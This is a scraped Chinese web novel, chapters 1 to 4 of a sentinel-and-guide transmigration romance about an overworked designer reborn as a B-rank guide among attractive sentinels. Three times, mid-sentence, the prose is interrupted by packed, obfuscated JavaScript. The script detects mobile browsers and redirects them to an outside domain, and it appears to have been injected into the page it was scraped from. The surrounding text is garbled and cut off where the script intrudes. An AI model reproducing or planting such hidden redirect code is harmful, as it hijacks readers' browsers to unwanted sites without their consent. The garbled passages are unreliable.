《为了和哨兵同事们打好关系》 1. 第 1 章 “第三套方案……甲方妈妈……我已经在赶deadline……” 冬晴流着口水,胡言乱语地从噩梦里惊醒过来。 这已经是她通宵改方案的第四个晚上了,她记得自己昏睡过去之前还第二十七次向甲方询问具体要求。 在她小心翼翼、满怀期待地发送“请问这里的情绪是需要加强还是弱化呢”的三分钟后,她那凌晨四点也没睡觉的甲方妈妈,顶着一张专业团队的艺术照,冷酷回复: 可以。 冬晴怀疑自己其实是被气晕的。 但能怎么办呢,所谓有钱就是娘,她必须赶在死线之前终结这个无厘头的讨饭任务。 搓了两把脸,冬晴正想摸黑找找自己的电脑在哪。 突然,一阵天旋地转,她感觉自己被人扛起来了。 在自己家,被人扛起来了? 冬晴恍然大悟,原来她还睡着呢!于是毫无负担地再次两眼一闭。 不知道过了多久,又是一阵天旋地转,这一次,她感觉自己是被人放下了。 双脚踩在地上,前后踉跄了好一会儿才堪堪稳住身子。 冬晴内心冷笑:呵呵,在梦里罚站吗,有意思。 随后,她听见了一种美妙到只有在梦里才会出现的男人声线:“冬晴向导,你的光脑所绑定的健康系统在三分钟前发出一级警报,显示你陷入危险状态并且短暂失去过生命体征,请问你怎么了?” 什么向导?什么光脑?什么生命体征? “你这说的什么乱七八糟的,我复制到拼多多也没反应啊……” 冬晴一边含糊地嘀咕着,一边微微睁开了点眼睛。 下一秒她就差点被帅瞎了。 冬晴敢保证,出现在视野里的这张脸,绝对不会长在任何地球男人的身上。 昏黄台灯下,帅得金光闪闪的男人正脸对着她,坐在椅子上,难掩疲惫之色,身上还穿着十分居家的丝绸睡衣。 只看了一瞬,冬晴就默默把眼睛给闭上了。 呵呵,妖孽休想诱惑她。 她的心里只有甲方,虽然妈妈难懂人言,但会给钱。 男人再帅也没用,没有人可以用脸赚到她的一分钱! 梦而已,她已经被现实捶打得软软糯糯了,在这种虚幻的地方,冬晴的原则是,能躺着就绝不站着。 于是下一秒,和她做过的所有清醒梦一样,冬晴毫不犹豫地朝后倒去—— “砰!” 脑壳自由落体下坠,和木质地板相撞,发出一声惨绝人寰的巨响。 这一下,在场两人的瞌睡全醒了。 痛……好痛……像八个墙角同时冲进她的所有脚趾缝那样痛…… 冬晴疼得灵魂出窍,泪眼朦胧中,她似乎看到自己的灵魂在半空中对自己竖了个大拇指,那样子仿佛在说: 痛吗?痛就对啦!从此以后,你就是个顶天立地的女子汉了! 在冬晴光荣成为女子汉的同时。 时诺——也就是椅子上的那位美男子,惊慌失措地瞪大了眼,反应极快地冲过来将她扶起,让她靠在自己的腿上。 他还以为冬晴死了。 毕竟她的健康系统确实发出过这样的警告。 但看见她眨巴眨巴眼睛,痛得落泪时,时诺深深松了一口气。 并且一边联系紧急医疗人员,一边试图用自己的精神力治疗她。 他的大手穿过发丝,掌在冬晴脑后,没有流血,只是磕出了个大包。 而靠在他曲起的腿上的冬晴,已经彻底生无可恋了。 他大爷的,这竟然不是梦…… 她穿越了?还穿越到了哨向世界? 系统呢?金手指呢?穿越的不都是主角吗? 就这么眼睁睁地看着未来的龙傲天,在一个帅得发光的男人面前,如同一根大葱似的栽倒吗? 天理何在?? “奇怪,我的精神力并没有检查出你的身体有任何问题。”时诺试图先将冬晴扶起来,“这应该是你前天进行了跨级净化的缘故。” 脑后顶着个鼓包,被搀扶着站起的冬晴则直勾勾地盯着他:斯米马赛,听不懂,但帅哥你好帅啊。 时诺被看得有些不自在:“冬晴向导,请问你现在还有哪里不舒服吗?” “啊。”冬晴如梦初醒般长叹一声,“有的帅哥有的,我好像失忆了。” “失忆?”时诺皱眉重复了一遍,看她样子不似作假,一时间也有些头疼。 但还是语气温和地安慰:“别害怕,大概是一些跨级净化的后遗症,你现在身体状况很稳定,先回去睡一觉好吗,我会联系医疗队那边,明天尽早准备全身检查。” 冬晴点点头,穿越这事儿实在是伤身又伤心,她也需要一点时间消化消化。 “我叫时诺,是白塔的S级向导。”男人主动向她介绍自己,又问,“还记得自己宿舍在哪儿吗?” 冬晴摇头:“完全不记得。” 时诺有些担忧地叹了口气,拿过挂在衣架上的大衣,给自己披上:“走吧,我送你回去。” 一路上,时诺向她科普了很多这个世界的基础信息,比如:哨兵向导、污染净化、链接精神体。 作为博览群书的新时代好姑娘,时诺暂时表示接受良好。 不就是有魔法的特种兵和心理医生吗。 被领到自己的宿舍门前,冬晴刚要和时诺道别,旁边的门却“咔哒”一声打开,门缝里探出一个脑袋。 “冬晴姐,你今天怎么回来这么晚……”女孩儿的话说到一半,在看清门外站着的是两个人时吓了一大跳,“时时时、时诺向导!!” 时诺依旧得体微笑着:“打扰你休息了,艾拉向导。” 艾拉惶恐地拼命摇头:“不不不不,我本来就还没睡。” 她说着又看了一旁满脸茫然的冬晴一眼,关切道:“不过您怎么和冬晴姐一起回来,是她身体不舒服吗?” 时诺顺势向她简单说明了情况,又道:“如果不影响休息的话,你今晚可以和她回忆一下以前的事,说不定能让失忆症状有所好转。” 艾拉连忙应下。 时诺不方便在女性向导宿舍这边待太久,和两人道过别后就先离开了。 留下冬晴和眼前的小姑娘面面相觑。 艾拉犹豫地过来拉住冬晴的手腕:“冬晴姐你……什么都不记得了?” 冬晴点头:“什么都不记得。” 艾拉又问:“一片空白?” 冬晴又点头:“一片空白。” 然后,她眼睁睁看着艾拉露出了欣喜若狂的神色。 一个没注意,就被拽进了宿舍,耳边还回荡着艾拉雀跃的声音: “太好了!!那我们再看一遍白塔美男图鉴!!” 冬晴趴在床上,看着艾拉在光脑上不断展示各种型男帅哥的图片,还如数家珍、滔滔不绝地讲解着。 她听得左耳进右耳出,除了一双眼睛快要被闪瞎,并没有太大的感受。 她眼下最重要的任务是适应这里的生活,男色啊美人啊,一切都是浮云! 忽然,福至心灵,她猛地握住了艾拉的手,热泪盈眶:“妹妹,我知道你是谁了!!” 艾拉同样惊讶地望着她:“你这么快就想起来了?!” 冬晴无比郑重地点了点头:“你是我的系统啊!系统!!” 不知疲倦地为她介绍着这个世界的重要主人公,一点一点带她回忆从前的经历,如此人美心善,必定是穿越者必备的金手指——系统大人啊! 然而,冬晴满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421653|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心欢喜,却看见艾拉嘴角抽了抽:“冬晴姐,说什么呢……要不你还是早点睡吧,明早我会准时叫你起床去做检查的。” 冬晴:嘤,好像被系统妹妹嫌弃了。 艾拉担心她失忆后会感到不安,主动说要留下来一起过夜。 两个女孩躺在被窝里,手牵着手,有种难得的安宁。 冬晴感受着手掌里的温度,这是她今晚最放松的时刻,刚想说些什么“有你真好”之类的煽情话。 就听艾拉语气认真道:“冬晴姐,时诺向导真的很帅吧。” 冬晴:…… 冬晴:真心错付。 翌日清晨。 拥有社畜本能的冬晴听到闹铃就一个鲤鱼打挺起来了,恍惚间还要找电脑去改方案, 直到看到了身旁睡得四仰八叉的艾拉,这才想起来,她已经不是以前那个冬晴了。 钮祜禄冬晴一边抹着眼屎一边将艾拉推醒。 两人各自顶着黑眼圈,爬到卫生间里洗漱。 全部收拾好,从寝室出门,艾拉看到冬晴的样子,意外道:“冬晴姐,你今天这穿搭,好不一样哦。” 冬晴闻言低头一看,白色Polo衫,直筒牛仔裤,再配一顶鸭舌帽。 这可是她在满衣柜的连衣裙里翻了好久,才勉强找出来一套能穿的。 她一副语重心长的样子:“妹妹,等你再多工作几年就知道了,穿得不恶心已经是我最大的尊重。” 艾拉听不明白地撇了撇嘴,从昨天晚上开始,她的冬晴姐就一直在胡言乱语。 为了让好姐姐早日恢复正常,艾拉尽职尽责地将冬晴带到医疗区域,做了近三个小时的全身检查。 冬晴觉得自己乳腺有几个结节都要被这帮人给知道了。 结束后两人便在时诺的办公室里等待结果。 “冬晴向导,结果显示你的身体非常健康。”时诺将检查报告通过光脑传输给她,“脑部除了脑后的肿块,并没有任何创伤。” 冬晴闻言又低头看了看脚下的木质地板,默默对它放狠话:呵呵,算你厉害。 艾拉比冬晴本人更加上心她的身体:“那冬晴姐是为什么会失忆?” 时诺无奈地摇头:“暂时检测不出。” 冬晴:能检测出才怪了,想不到吧,老娘穿越了。 时诺:“但据我推测,大概是因为三天前的跨级净化。” 冬晴昨天就想问了:“净化是什么我知道,跨级净化是?” 时诺将目光投到她脸上,耐心讲解:“字面意思,按照惯例,向导只能对同级及以下的哨兵进行净化,而你作为B级向导,三天前为一名A级哨兵成功进行了净化,实现了历史上首例跨级净化,但没人知道这样会有什么后果。” 冬晴点点头。 听起来很厉害的样子。 但转念一想又不对啊,穿越前的冬晴是个业务能力强到跨级的B级向导,而现在的她啥也不懂。 只好弱弱地询问:“那个,时诺向导,我最近要怎么工作?” 时诺像是早料到了这个问题,有条不紊地回答:“B级向导的组长在一周前出现意外,最近由我统一管理,在你恢复净化能力之前,我会取消你的排班,薪资方面不用担心。” 带薪休假……行吧。 冬晴得到这个答案,开始十分熟练地给上司画大饼:“老板……啊不,时诺向导您放心,我一定会努力提升自己,争取早日回到岗位,为公司……啊不,为白塔贡献自己的绵薄之力!” 时诺看她狡黠又很有活力的样子,不禁被逗笑一声:“那好吧,现在你试试放出自己的精神体。” 冬晴还一脸懵地想问这要怎么做,门外却猝不及防传来一阵急促的脚步声。 “向导姐姐!你还好吗!” 2. 第 2 章 在场的,向导有三名,姐姐有两名,身体出现问题的有一名。 冬晴猜测这声音喊的是自己,于是转身看去。 办公室门口站着一个高高瘦瘦的青年,盯着他那张顶级男高脸,冬晴怀疑这里是不是有什么颜值诅咒: 外貌分不过九十的人不允许进化成哨兵或向导之类的。 男高有一双湿漉漉的狗狗眼,盯着人看的时候简直可怜可爱,一路匆忙跑过来,棕栗色的头发有些凌乱,还小口小口喘着气。 因为没有被办公室主人允许进入,即便望眼欲穿,他还是乖乖站在门外。 时诺道:“瑞尔哨兵,请进吧。” 瑞尔迫不及待地朝冬晴走去,站在她面前一步远的地方,低头紧紧盯着她:“向导姐姐……” 冬晴吓得连忙退开一步。 太近了太近了,鼻血喷出来怎么办?! 她试图友好地和这位男高打个招呼:“嗨,瑞尔哨兵,我们以前认识?” 一瞬间,她看到瑞尔脸上露出了无比委屈的神情,好像下一秒就要落泪了:“姐姐,你真的失忆了。” 冬晴浑身起了一层鸡皮疙瘩,什么啊…… 为什么一副被朝夕相处了二十年的亲姐姐遗弃的表情啊。 艾拉看不下去,在旁边小声提醒:“冬晴姐,他就是和你跨级链接的那个A级哨兵!” 原来如此。 冬晴又好好将瑞尔从头到尾打量了一番,不过确实什么印象都没有,只好尴尬地讪笑两声。 她赶紧转移话题:“时诺向导,你刚才说什么来着,放出精神体?” 时诺点头:“对,想要恢复你的净化能力,我们得一步步来,所以先试试放出精神体。” 所有人都静静地等着冬晴。 冬晴面上淡淡,内心简直发狂。 没有人教一下吗?真的没有人教一下吗?! 这要怎么放出来?大喊一声“出来吧我的精神体吗”?! 会被当成神经病的吧?! 可是他们都还盯着自己啊,一副副很期待的样子。 没办法了,冬晴想。 她只能祭出自己的高情商了。 “抱歉时诺向导,我不会,但我可以学。” 她明显感到室内陷入了三秒的死寂。 艾拉难以置信地扯了扯她的衣袖:“冬晴姐你说什么呢?这是向导的本能啊。” 时诺也愣了一瞬,随即又展现出温柔的样子:“抱歉是我疏忽,失忆产生这样的情况也是情有可原。” “我用精神力带你体验一次你就能明白了。”时诺说完,便将视线凝于一点,轻松地放出精神力。 冬晴感到一股很奇妙的力量在身体里游走,然后将什么东西勾了出去。 办公室内顿时出现了两只动物和……一个不明物体。 时诺的精神力太强大,无意间把艾拉和瑞尔的精神体也一起勾了出来。 冬晴左右环视一圈:“卧槽哪来的兔子,卧槽哪来的狗,卧槽哪来的……史莱姆??” 艾拉的精神体是狮子兔,瑞尔的精神体是边牧,那么剩下那个…… 泛着淡淡绿光的一团粘液般的球状不明物体,就是冬晴的精神体了。 时诺对这个结果感到惊讶,他难得露出皱眉不解的神色,目光停留在正研究自己精神体的冬晴身上。 总是出乎意料呢。 而冬晴此刻感到十分新奇:妈妈,我终于找到真正的起泡胶教程了! 时诺:“冬晴向导记录在案的精神体似乎是,垂耳兔?” 艾拉闻言附和道:“是的。” 她又用手戳了一下那团小家伙,发现是很光滑冰凉的触感,一点也不粘手。 她欲哭无泪地看着冬晴:“你要脱离我们兔子大军了吗?” 冬晴笑嘻嘻:“想不想加入我们起泡胶大军呢?我可以教你无硼砂版本哦!” 艾拉:又开始胡言乱语了。 没一会儿,绿色小球被戳凹进去的地方就泛着水波纹似的重新鼓起来了。 精神体被碰,冬晴整个人也有种轻微的过电感,她立刻将精神体收回去。 “我学会了。”她说。 艾拉说得是对的,这确实是一种本能,完全听从于内心,想放的时候就能放,想收的时候就能收。 冬晴忽然对自己的未来的工作感到非常有信心。 她能净化一百个B级哨兵! 艾拉对于冬晴的改变依旧很是担忧,轻轻握住她的指尖:“怎么会连精神体都变了,而且还不是动物。” 时诺沉思了片刻,神色惭愧:“抱歉……跨级净化后遗症缺少案例。” 冬晴大方地挥了挥手:“只要身体没事,这些都是小事啦!” “时诺向导那我们就不打扰您了,我一定会趁最近休假好好向艾拉讨教,早日重新为白塔鞍前马后!” 她说完信誓旦旦地敬了个礼,就赶紧拽着艾拉离开。 走到两人的休息室门口,艾拉拍拍她的肩:“你先在这里待着,我有几个哨兵排班,中午来带你一起吃饭。” 冬晴冲她咧了个大大的笑容:“妹妹,你真的好让人安心哦!” 看着艾拉离开的背影消失在转角,冬晴缓缓吐出一口气,这么一早上下来,还是挺累的。 她刚推开休息室的门,背后就传来一道很轻的男声:“向导姐姐……” 冬晴诧异地回头,发现瑞尔竟然一直跟在自己身后。 好歹是跟自己合作过行业前端大项目的同事,虽然完全不认识他,但冬晴还是拿出友善同事、讨好上司的苟命态度: “进来坐坐?” 瑞尔闻言眼睛亮了亮,点头跟进来。 冬晴找了个玻璃杯,在饮水机那儿给他倒了杯水,和他面对面坐下。 主动开启话题,问道:“我之前给你做过净化?” 瑞尔仰头喝了口水,唇变得和眼睛一样亮晶晶:“是的,向导姐姐。” 冬晴现在还挺想知道净化是一个怎么样的流程和感受,但又不能去围观别人,于是试探地问:“要不我们现在再来一次,你最近还需要净化吗?” 瑞尔摇头:“跨级净化可能会受伤的,向导姐姐。” “对对。”冬晴差点忘了,他们是跨级。 于是自顾自地呢喃起来:“但我现在也没有认识的B级哨兵,待会儿问问艾拉吧。” 瑞尔只隐隐约约听到她要去找别的哨兵,一时心急,直接拽住了她的手腕。 冬晴被吓了一跳。 这这这这、这,成何体统! 她不动声色地把手腕抽取来,却见瑞尔突然改了主意:“可以姐姐,我们试试吧。” 脚边不知何时趴了一只边牧,尾巴一下一下扫着她露出的一小截脚踝。 冬晴觉得有点痒,本能地放出了自己的精神体。 绿色史莱姆落在边牧头上,冰冰凉凉地包裹住了小狗的耳朵,瑞尔几乎浑身一颤。 冬晴这是新娘子上轿——头一遭,像个毛头小子,看着耳根渐渐变红的瑞尔,有些尴尬道:“我们就这样面对面坐着就行吧?” “不行。”瑞尔说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421654|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >岂止不行,简直就是荒唐。 一个B级向导,一个A级哨兵,甚至不是在静音室里,而是待在随时都可能有人进来的休息室,没有任何准备,没有任何理论,就想要进行净化。 失败率可以说是百分之百。 净化失败对向导来说只是损失一部分精神力,但对哨兵来说,极有可能让他们随时发疯! 但瑞尔什么也没告诉她,只乖乖道:“要搭手。” “搭手?”冬晴看着瑞尔伸出来的手腕,试探地把自己的手腕也放上去,“这样?” 瑞尔点头:“以前就是这样,然后姐姐你放出精神力,试试看能不能找到我的污染部分。” 这也……这也太抽象了吧?! 冬晴艰难地照他所说的那样,控制着自己的精神力离体,在瑞尔身周徘徊。 她竟然真的感受到了一股污杂的气息! 精神力兴奋地冲那个方向流去,却在即将进入瑞尔身体时,“砰”一下撞到什么厚实的屏障,全部消散。 “嘶。”冬晴感到整个人恍惚了一瞬,摇了摇脑袋得出结论,“好像不行。” 她抬眸看向瑞尔,没发觉脚边的边牧已经呈现一种应激状态,只看到瑞尔低垂着脑袋,全身紧绷。 “瑞尔,瑞尔,你还好吗?”冬晴有点紧张地碰了碰他的肩膀。 完蛋了完蛋了,不会把同事玩坏了吧? 一个A级哨兵,这她怎么赔得起?! 心肺复苏!海姆立克急救法!人工呼吸! 不对!冬晴你在想什么东西!! 冬晴手忙脚乱地手忙脚乱了一会儿,为自己没有添任何倒忙而感到骄傲。 好在没多久,瑞尔就抬起头来了,虽然眼尾泛着红,但神情还算正常:“没事姐姐,哨兵净化失败都会有一点点难受的。” 冬晴将信将疑,殷勤地又给他倒了杯水,嘴上嘘寒问暖半天,实际行动为零。 净化是件耗时耗力的事儿,眼下已经到了饭点,光脑收到了消息,冬晴点进去一看。 [艾拉宝贝]:对对对不起冬晴姐!突然有临时任务,不能陪你去食堂了TT。 [艾拉宝贝]:我叫别的同事给你带饭好吗?你现在还在休息室吧? 冬晴想了想,问瑞尔:“你要去食堂吗,能不能带我一起?” 瑞尔当然同意。 [冬晴]:不用麻烦!我叫瑞尔带我去食堂! [冬晴]:好好工作,不用担心我! “走吧!”冬晴起身拍拍瑞尔的肩,示意他带路。 走出向导区的第一秒。 冬晴差点吓瘸跪倒在地上。 谁能告诉她这都是什么?这群神经病哨兵为什么要把精神体放在外面啊?! 猫猫狗狗、爬宠小鸟的也就算了……为什么还有大象老虎什么的啊!! 当这里是动物园吗?! 冬晴一边生无可恋地贴着墙壁当壁虎,脑海中一边播放着一道浑厚的嗓音: 在辽阔的非洲大草原上…… 妈妈、甲方妈妈,她想回家了,她想回去无怨无悔地改方案了,到底谁能来救救她! 瑞尔看出她的无措,便贴得离她近一些,将不相干的人都挡在外面。 精神体放出,边牧走在冬晴的前面,一些精神体便自觉让路。 冬晴察觉她的体贴,感动得不行。 她就知道,这种刚出社会,年纪不大的小朋友是最可爱的! 刚想说两句道谢的话,身后传来一道清亮却带着戏谑的嗓音: “我说这是谁呢。” 3. 第 3 章 冬晴闻声扭头,看见又一个男高朝她走来。 天堂啊、这里简直是天堂,冬晴想,如果没有那些奇奇怪怪的野生动物的话就更好了。 和瑞尔圆钝无害的长相不同,这人的五官带着点尖锐轻佻,一头金发,眉毛眼角上扬,眼尾一点小痣,咧开嘴时能看见尖尖的虎牙。 瑞尔看见来人,竟下意识将冬晴护在身后,拧眉警告:“星隅,你要干什么?” 星隅恨铁不成钢似的叹出口气,眼睛懒散地往一旁看去,是个白了他一眼的表情。 “我还没问你呢瑞尔,整天缠着一个B级向导是想干嘛,她给了你什么好处?” 星隅走路时脚步很轻,一步一步朝他们走近,并不会给人什么压迫感。 只需要担心,他会不会突然伸出爪子挠你一下。 他走到半藏在瑞尔身后的冬晴面前,微微俯下点身子,一双极具诱惑力的眼睛紧盯着她,钩子似的,轻声问:“冬晴向导,还记得我吗?” 冬晴诚实地摇头,心说:小帅哥,我也很想记得你,但是我压根不认识你啊! “真失忆了。”星隅还想再靠近她。 瑞尔忍无可忍地怒喝一声:“星隅!别再缠着冬晴向导。” 星隅闻言很不高兴地冷了脸,一副“你竟然说我缠着她”的表情。 “你们不是要去食堂吗?我也去,正好顺路,哪有缠着一说。” 星隅很快直起身,冬晴也早已经从墙壁上下来了,他便不由分说地挤进那一侧,冲两人抬了抬下巴:“走啊。” 疯了、简直要疯了。 虽然被两个男高夹着走很有排面,但她觉得这里简直没有正常人。 没有正常男人! 冬晴正在内心怒吼,忽略上方两位男高的无声战争,突然有什么毛茸茸的东西勾着她的脚踝一绊。 她险些脸着地栽倒下去,幸好被瑞尔及时扶住胳膊。 “什么东西啊……” 那触感……她浑身鸡皮疙瘩都起来了。 冬晴低头一看,发现右脚边不知什么时候跟了一只暹罗猫,细长的黑色尾巴一勾一勾。 行了,就是这东西。 虽然差点被害得变成轴对称图形——脑门一个包,后脑勺一个包。 但冬晴有点不争气地心花怒放了,鬼知道她以前有多想养一只暹罗猫。 她低着头观察那只贵气十足的小猫,问瑞尔:“这是星隅的精神体吗?” 瑞尔显然也察觉了罪魁祸首,“嗯”了一声,然后没好气地瞪向星隅。 他想让冬晴走到自己的外边,这样就不用担心星隅使坏,但又怕她被别的精神体吓着。 要求星隅换位置更是天方夜谭。 想了想,脚边的边牧就开始恶狠狠地扑向暹罗猫。 追逐了一小会儿,就听见星隅不耐烦地“啧”了一声,把精神体收回。 默默观看了全程猫狗斗智的冬晴嘴角抽动,无语地闭了闭眼。 她不是一直都拒绝动物表演的吗…… 总算是跟着两人安全到了食堂。 这个点的食堂人很多,地方又不够宽敞,所以就少了很多大型动物精神体。 冬晴感觉自己终于活过来了,区区一个花鸟市场,她还是能应付的! 向导和哨兵的打饭窗口不一样,冬晴绝对不想再和这两人待在一块儿,正打算和他们分道扬镳。 瑞尔却放出精神体跟在她脚边:“向导姐姐,你打完饭后在餐桌那儿等我一会好吗,它会陪着你的。” 这可不行。 冬晴抿了抿唇,拍拍他的胳膊,于心很忍地说:“瑞尔,你有没有听过一句话,叫做干我们这行的最忌爱上同事。” 瑞尔:“?” 冬晴看他的样子就知道大概没听过,于是接着道:“为了保持我们纯洁友善的同事关系,杜绝办公室恋情的发生,我觉得我们私底下还是少一些交流,多一些距离。” 说完就十分潇洒其实是不要脸地小跑去向导窗口了。 冬晴:呵呵,小狗男高,虽然你很帅,但姐姐我也是很有原则的,星隅说得对,你一个A级哨兵,天天跟着我一个B级向导干什么?又不能给我冲业绩,顶多也就算半个同事! 蒙骗小男孩,她是专业的! 瑞尔看着她离开的背影,神情无比落寞。 “哈,她在搞什么啊?”星隅撩了把头发,有点怀疑自己刚刚听到了什么,“她竟然让哨兵和向导保持距离吗?” “你和她没链接?”星隅扭头看向一旁失了魂的瑞尔,撞撞他的胳膊问。 瑞尔摇头:“没有,就是普通净化,和同级向导一样。” 星隅眉头拧得更紧了:“疯了吧?这样她都没死?” 瑞尔不高兴地看了他一眼:“你别这么说。” 星隅:“我看你也疯了。” 向导的数量很少,窗口排队的人也不多,冬晴很快就打好了自己的饭。 她找了个位置坐下,边吃边给艾拉报平安。 脚边又猝不及防地产生了一种毛茸茸的触感,她浑身一激灵,赶忙看去。 竟然是暹罗猫,星隅的精神体。 冬晴左看右看也没找到那两人,估计还在排队。 盯着那蹲在脚边,通体雪白,只有四肢、脸中和耳朵呈黑色的贵气小猫,她是真的手很痒。 精神体能摸吗?应该不太能吧…… 她想起早上自己的精神体被戳,这应该是和主人有通感的。 但他就这么把精神体放养出自己的视线,谁能保准不被人蹭一下、摸一把的。 冬晴实在管不住自己了,飞快伸出食指,在小猫的下巴处勾了勾。 还不等它发出“呼噜呼噜”的声音,就又迅速把手抽回来,装作什么也没发生的样子。 这样应该就没事吧…… 吃完饭,冬晴凭着记忆穿越了非洲大草原,回到向导区。 打开休息室大门,看到艾拉正在位置上吃饭的那一刻,冬晴觉得自己飘走的魂终于回来了。 “男人,男人,全他大爷的是男人,再这样下去我真的要晕男了!” 她晃晃悠悠地走到艾拉身边,一屁股坐下,全身的懒骨头恨不得原地散架。 艾拉刚好吃完,把打包盒的盖子都盖上,无奈地笑道:“没办法呀,白塔内的男女比例可能连九比一都不到。” 好可怕的世界。 冬晴转头看她,又问道:“你下午还有排班吗?” 艾拉摇头:“我刚刚看了,时诺向导最近给我排的班时间都挺集中的,今天已经彻底解放了。” 说到排班,冬晴感兴趣地坐直了身子:“我们B组的组长出意外了?” 艾拉:“对,他上次跟队出任务,被异兽攻击了,现在还在躺医疗仓呢。” 可怜可怜、失敬失敬、默哀默哀。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421655|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冬晴很不走心地表达了自己的同情,然后两眼放光:“不如我去篡个位怎么样?” 艾拉不理解地看看她:“你要当组长?很忙的,又要排班又要发放工资奖金什么的。” 冬晴官瘾很大,特别是这种有实权的小官,她最爱当了。 于是志向远大地夸下海口:“等我当上组长,我就给你排最少的班,发最多的奖金,交最全的五险三金!” 艾拉表情一言难尽:“五险三金又是什么东西……” 冬晴一副“这你就不懂了吧”的样子,站起身,拍拍她的肩:“是好东西啊。那我先去找时诺向导要个升官指南!” “你找得到路吧?” 艾拉看着她兴冲冲地跑出去,背对着远远比了个“ok”的手势。 什么嘛。 艾拉无奈地笑起来,失了个忆怎么变得这么活泼了。 冬晴站在时诺的办公室门前,抬手叩了叩紧闭的大门,听到一声“请进”后才推开。 “你今天到得有点早,静音室还……”时诺边说边站起身,看到门外的来人时愣了一瞬,“原来是冬晴向导啊。” “怎么突然来找我,是身体不舒服吗?”时诺给她倒了杯水,放在待客的茶几上,微笑着询问。 “打扰了时诺向导。”冬晴走过去,在他对面的沙发上落座。 听他刚才没说完的话应该是有哨兵要来净化,所以开门见山:“嗯,因为听说你暂时代职B级向导组长,所以我是想来问问,如果对这个职位有意向的话,需要做哪些准备?” 短短一天时间,时诺已经因为她的举动感到无数次意外,导致乍然听到她想晋升组长,内心反而还挺平静的。 他说:“按照原本的要求,连续三个月净化哨兵次数第一才能够换任,但眼下情况特殊,原组长短时间无法归组,如果你在能力恢复后的一个月内,做到B级向导内净化哨兵次数第一的话,我就将职权放给你。” 这叫什么?天助我也! 冬晴似乎已经看到排班大权在向她招手了! 她无比坚定地点了点头:“嗯!时诺向导,我觉得从明天开始我就可以在静音室坐班了!” “明天?”时诺不是很赞同,“你的净化能力恢复了?” 冬晴早上试过给瑞尔净化,虽然最后失败了,但她觉得应该只差临门一脚。 连跨级净化都差点成功,那同级净化根本不在话下! 她信誓旦旦:“您放心吧,我已经学会了!如果有问题我也会立刻寻求您的帮助!” “好吧。”时诺对她松了口,打开光脑进入排班程序,“那我先给你排上明天的班,千万不要逞强。” yes!冬晴在心里为自己加油鼓劲,刚想说不打扰时诺向导工作,门外就传来一道柔和而带着一点若有似无娇媚味道的声音: “时诺向导,您有客人?” 冬晴循声转头看去。 看到了一张只应天上有的美人脸蛋。 精雕细琢的五官,美艳的芳香扑面而来。 “扑通”、“扑通”。 心脏跳动的声音好响。 她觉得全世界都在这一刻静止了。 假的吧,冬晴想,怎么会有男人美得如此不可方物。 在寂静的对视中。 美人突然将一双狐狸般的眼睛微微睁大,无措地眨眨眼,惊讶道: “向导小姐,您流鼻血了。” 4. 第 4 章 哦,原来是鼻血吗。 难怪鼻子下面痒痒的,她还以为要长胡子了呢。 冬晴愣愣地抬手揩了一把,手指果然沾上了黏腻的红色。 时诺起身抽了两张湿纸巾递给她:“冬晴向导,擦擦吧。” 冬晴这才反应过来,一连“奥”了好几声,囫囵把鼻血擦了,“腾”一下从沙发上站起来。 动作僵硬地朝时诺和门口的美人微微鞠了个躬:“时诺向导,不打扰您工作了。” 她大脑发懵,几乎同手同脚地走出了办公室,余光不受控地朝美人方向瞥去。 对上他温柔美艳的笑颜,冬晴的脸立马烧红起来。 前脚刚踏出办公室的门,后脚就撒丫子跑了起来。 边跑边在内心呐喊:妈妈!!我见到天使了!! “砰!” 休息室大门被暴力拉开。 正在浏览白塔论坛的艾拉差点吓得灵魂出窍,看着门口满脸通红、大口喘气的冬晴,还以为她成功上位,当上组长,要给自己来交什么五险三金了。 艾拉眼睁睁看着她精神抖擞地进来,走到自己面前,像是要宣布什么大事的样子: “白塔最美的那个哨兵叫什么?” 艾拉:哈? “我昨晚给你看的那些就是最帅的了,不分上下。” 艾拉也不知道她受了什么刺激,咽了咽口水,如实道。 冬晴见她没理解自己的意思,着急地解释:“哎呀,不是帅,是美!美你懂吗?beautiful!” 艾拉怔了一会儿,灵光一闪,同样激动地拉着她坐下:“我知道了、我知道了!你说的肯定是白塔塔花,人送外号男妲己,S级哨兵伊莱!” 她边说边调出“白塔美男图鉴”里的照片给冬晴看。 塔花?男妲己? 对对!就是这个意思! 冬晴捧着光脑,对着证件照里伊莱那张美得惊天动地的脸发了好一会花痴—— 瞧这巴掌大的流畅脸型!瞧这含情脉脉的狐狸眼!瞧这精致高挺的鼻子! “勾引女人的事,伊莱全干了……” 艾拉实在听不下去她那自言自语地嘀咕,生怕她看得走火入魔,赶紧伸手把她的光脑给关了。 冬晴倒也没反抗,因为那张艺术品般的脸已经深深刻进她的脑海了! 